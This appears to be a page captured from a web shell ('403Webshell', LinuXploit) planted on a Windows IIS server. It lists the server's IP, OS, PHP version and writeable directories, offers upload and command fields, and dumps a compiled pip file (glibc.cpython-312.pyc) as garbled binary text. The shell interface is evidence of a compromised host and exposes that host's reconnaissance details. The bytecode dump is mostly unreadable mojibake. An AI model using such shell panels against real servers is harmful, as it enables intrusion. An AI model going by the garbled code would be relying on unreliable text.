403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/glibc.cpython-312.pyc
�

�k�f���p�ddlZddlZddlmZmZdeefd�Zdeefd�Zdeefd�Zdeeeffd�Z	y)�N)�Optional�Tuple�returnc�.�t�xs
t�S)z9Returns glibc version string, or None if not using glibc.)�glibc_version_string_confstr�glibc_version_string_ctypes���;C:\Python312\Lib\site-packages\pip/_internal/utils/glibc.py�glibc_version_stringrs��'�)�J�-H�-J�Jr
c��tjdk(ry	tjd�}|�y|j	�\}}|S#t
ttf$rYywxYw)z@Primary implementation of glibc_version_string using os.confstr.�win32N�CS_GNU_LIBC_VERSION)�sys�platform�os�confstr�split�AttributeError�OSError�
ValueError)�gnu_libc_version�_�versions   rrrse���|�|�w�����:�:�&;�<���#��%�+�+�-�
��7��N��
�G�Z�0����s�A�A�A�Ac��	ddl}	|jd�}	|j}|j|_|�}t|t�s|jd�}|S#t$rYywxYw#t$rYywxYw#t
$rYywxYw)z=Fallback implementation of glibc_version_string using ctypes.rN�ascii)�ctypes�ImportError�CDLLr�gnu_get_libc_versionr�c_char_p�restype�
isinstance�str�decode)r�process_namespacer �version_strs    rrrs�����"�"�K�K��-���0�E�E��$*�?�?�� �+�-�K��k�3�'�!�(�(��1�����G�����$�����
����s3�A �A/�A>� 	A,�+A,�/	A;�:A;�>	B
�	B
c�$�t�}|�yd|fS)z�Try to determine the glibc version

    Returns a tuple of strings (lib, version) which default to empty strings
    in case the lookup fails.
    )�r)�glibc)r)�
glibc_versions r�libc_verr,[s ��)�*�M������'�'r
)
rr�typingrrr$rrrr,r	r
r�<module>r.sU��	�
�"�K�h�s�m�K�
�h�s�m��((�X�c�]�(�x
(�%��S��/�
(r

Youez - 2016 - github.com/yon3zu
LinuXploit